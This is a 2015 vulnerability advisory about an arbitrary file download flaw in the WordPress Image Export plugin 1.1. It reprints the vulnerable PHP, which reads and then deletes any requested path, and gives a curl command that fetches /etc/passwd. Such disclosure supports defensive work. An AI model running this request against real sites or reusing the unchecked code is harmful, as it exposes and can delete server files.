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WordPress Image Export 1.1 Arbitrary File Download

WordPress Image Export 1.1 Arbitrary File Download
Posted Jul 14, 2015
Authored by Larry W. Cashdollar

WordPress Image Export plugin version 1.1 suffers from an arbitrary file download vulnerability.

tags | exploit, arbitrary
MD5 | d7a5b1bed9400532c365455bee9cb242

WordPress Image Export 1.1 Arbitrary File Download

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Title: Remote file download vulnerability in Wordpress Plugin image-export v1.1
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-01
Download Site: https://wordpress.org/plugins/image-export
Vendor: www.1efthander.com
Vendor Notified: 2015-07-05
Vendor Contact: https://twitter.com/1eftHander
Description: Image Export plugin can help you selectively download images uploaded by an administrator .
Vulnerability:
The code in file download.php doesn't do any checking that the user is requesting files from the uploaded images directory only. And line 8 attempts to
unlink the file after being downloaded. This script could be used to delete files out of the wordpress directory if file permissions allow.

1 <?php
2 if ( isset( $_REQUEST['file'] ) && !empty( $_REQUEST['file'] ) ) {
3 $file = $_GET['file'];
4
5 header( 'Content-Type: application/zip' );
6 header( 'Content-Disposition: attachment; filename="' . $file . '"' );
7 readfile( $file );
8 unlink( $file );
9
10 exit;
11 }
12 ?>
CVEID: TBD
Exploit Code:
• $ curl http://example.com/wp-content/plugins/image-export/download.php?file=/etc/passwd
Screen Shots:
Advisory: http://www.vapid.dhs.org/advisory.php?v=135


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